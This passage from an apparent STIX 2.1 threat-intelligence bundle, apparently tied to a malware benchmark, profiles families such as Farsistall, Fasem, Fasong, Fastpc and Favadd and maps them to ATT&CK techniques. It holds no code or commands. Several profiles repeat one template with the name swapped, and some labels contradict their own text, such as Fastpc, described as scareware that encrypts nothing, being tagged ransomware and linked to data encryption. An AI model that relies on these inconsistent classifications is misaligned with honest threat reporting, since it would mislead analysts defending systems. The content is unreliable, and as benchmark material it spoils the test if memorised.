      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e16c4b9-ea5a-59f7-9d61-8276181fd22f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b7ca47f-7c52-580c-b769-d7ae42fee7c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1571 (Non-Standard Port)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a48752e9-15c1-57ae-a9c6-27cad4df6a67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72082b99-5ca3-5353-acb5-2dbed7c5aaa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cad963-cdf0-56fd-a77f-a6a3078004c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12a3e81f-adfd-53c4-bab7-c21e763e6de0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f538d1f4-aee1-5fda-b532-a36ffa6740ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farfli exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Farsistall",
      "description": "Trojan:Win32/Farsistall is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Farsistall</b><br>To an end-user, a Farsistall infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Farsistall is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Farsistall is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Farsistall frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Farsistall reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Farsistall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/farsistall"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86529436-4cb2-5ae5-b366-52e07286e5d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farsistall exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49d817c3-8a73-5ded-aa8f-00a04026a640",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farsistall exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92fbdfd2-c4b4-598c-8fc4-f006c8372450",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farsistall exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6210c5ee-63fd-5d36-a2e8-3a26d5368474",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farsistall exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--121523ad-cf4e-5152-b279-7e2a63e7b3bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b98c315b-f019-5032-8ab9-9211fe34d05a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Farsistall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fasem",
      "description": "Trojan:Win32/Fasem is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fasem</b><br>To an end-user, a Fasem infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fasem is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fasem is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fasem frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fasem reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fasem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fasem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cad56852-6dbf-5129-9696-be0a4056c4d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--684cc6f2-ba6e-5925-b4b5-b94cdee13767",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3dae487e-ebda-5709-8ce0-e05915e6d0a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca53e30e-6c86-5114-ad79-835987109041",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f872b88-00ef-5998-8816-e0d83cdb1b6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfc1d85-3208-55f4-ad31-adf1aa7dc950",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fasong",
      "description": "Trojan:Win32/Fasong is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fasong</b><br>To an end-user, a Fasong infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fasong is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fasong is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fasong frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fasong reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fasong",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fasong"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdc4b3c7-e4be-5390-95c7-2c3e43645dc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasong exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--994066b6-6757-5035-a3a0-a9744d6c9d44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasong exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--343cf50a-c86b-592b-93da-d1a44c422020",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasong exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecc260c0-cff9-5f70-96b0-615b24da1d9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasong exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c493c48b-b112-5e7d-8e14-7d82758555b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--611008fa-b92b-5055-a877-aca59ba2b85b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fasong exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fastpc",
      "description": "<h3>Executive Summary</h3>\nFastPC (often branded under various iterations of \"Fast PC Optimizer\" or \"PC Speedup\") is a prevalent example of Rogue Security Software and a Potentially Unwanted Program (PUP). It utilizes deceptive scareware tactics to trick users into purchasing unnecessary premium licenses by generating fabricated reports of system errors, malware infections, and critical performance issues.\n\n<h3>Distribution and Technical Behavior</h3>\nFastPC is heavily distributed through aggressive, often deceptive advertising networks. Users encounter pop-up ads claiming their computer is severely infected or running slowly, which direct them to download the FastPC installer. It is also frequently bundled with \"free\" software from untrustworthy download portals.\n\nUpon installation, FastPC initiates a highly aggressive, predetermined behavioral pattern:\n<ul>\n<li><strong>Fabricated Scans:</strong> Immediately upon execution, it performs a rapid, superficial \"system scan.\" Regardless of the actual health of the computer, this scan always returns a massive list of critical errors, missing registry keys, and privacy risks.</li>\n<li><strong>Scareware Tactics:</strong> The software utilizes alarming red graphics, persistent pop-up notifications from the system tray, and deceptive language to convince the user that their system will fail unless they take immediate action.</li>\n<li><strong>Extortion/Payment Portal:</strong> When the user attempts to click \"Fix All\" or \"Repair,\" they are blocked and redirected to a payment portal, demanding a subscription fee (often $30-$50) to unlock the software's supposed repair capabilities.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile FastPC does not directly steal credentials or encrypt files like ransomware, it is highly detrimental. It consumes system resources, creates immense operational friction for IT helpdesks due to panicked users, and frequently relies on the same distribution infrastructure as actual malware, increasing the risk of secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>User Education:</strong> Train employees to recognize the hallmarks of scareware (unexpected pop-ups demanding payment for software they didn't explicitly seek out) and to report them to IT immediately rather than entering payment details.</li>\n<li><strong>Endpoint Scanning and Removal:</strong> Utilize enterprise-grade anti-malware solutions to detect and forcibly uninstall FastPC executables, scheduled tasks, and the registry keys it creates to launch at startup.</li>\n<li><strong>Application Whitelisting:</strong> Implement strict application control policies (e.g., Windows Defender Application Control) to prevent standard users from installing unapproved system optimization tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.FastPC",
        "PUP.FastPC",
        "Scareware.FastPC",
        "FakeOptimizer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fastpc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fastpc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--924dcd2b-b0c4-5721-95af-02e8acd27e5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e1c1ade-4b10-5796-94c7-64043e742c09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1499 (Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be4ee1b5-c93d-534a-a56b-0daa510fcc9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6259e000-4b56-5d8e-ac90-cb5729c255ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f9f61dc-1bfd-589a-a053-09f43e35f805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d48003cc-e55b-551c-bade-07bb0110cbc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd0dc4f-1c4d-5fc1-9376-f9cda610efb2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fastpc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3378642b-d819-525f-8be2-2bf5771a9b09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Favadd",
      "description": "<h3>Executive Summary</h3>\nFavadd (often detected as Adware.Favadd or Trojan.Favadd) is a class of Adware and Potentially Unwanted Programs (PUP) prevalent during the era of heavy browser hijacking. Its primary objective is aggressive and unauthorized monetization by forcefully altering a user's web browser settings, specifically by injecting hundreds of unsolicited, sponsored bookmarks (\"favorites\") and changing the default homepage to redirect traffic to affiliate marketing sites or fraudulent search portals.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFavadd is predominantly distributed via software bundling. Users typically encounter this threat when downloading \"free\" utilities, media players, or browser extensions from untrustworthy third-party download portals.\n\nUpon execution, the adware operates by directly modifying browser configurations:\n<ul>\n<li><strong>Bookmark Injection:</strong> Favadd aggressively modifies the configuration files and registry keys associated with major web browsers (Internet Explorer, Firefox, older versions of Chrome). It adds dozens of bookmarks leading to online casinos, fake tech support pages, and aggressive affiliate marketing sites.</li>\n<li><strong>Browser Hijacking:</strong> The malware often alters the browser's default homepage, new tab page, and default search engine provider to force the user's web traffic through a monetization gateway controlled by the adware authors.</li>\n<li><strong>Persistence:</strong> To prevent the user from simply deleting the bookmarks, Favadd often utilizes a background service or a persistent browser helper object (BHO) that automatically restores the malicious bookmarks upon every system reboot or browser launch.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Favadd is generally classified as Adware and does not typically encrypt files or steal banking credentials, it represents a significant degradation of the user experience and poses a severe privacy risk. The aggressive redirection often exposes users to secondary, far more severe malware infections via \"malvertising\" networks.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars.</li>\n<li><strong>Browser Reset:</strong> Because Favadd deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and injected bookmarks.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Favadd",
        "Trojan.Favadd",
        "PUP.Favadd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Favadd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/favadd"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68745640-d44b-5f7f-8afb-1a5931cbacfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3378642b-d819-525f-8be2-2bf5771a9b09",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Favadd exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f73bf365-b7a2-5bda-bac9-f12b23fc6e64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3378642b-d819-525f-8be2-2bf5771a9b09",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Favadd exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--590ce1a2-d897-5901-84fe-2c53897b56fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3378642b-d819-525f-8be2-2bf5771a9b09",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
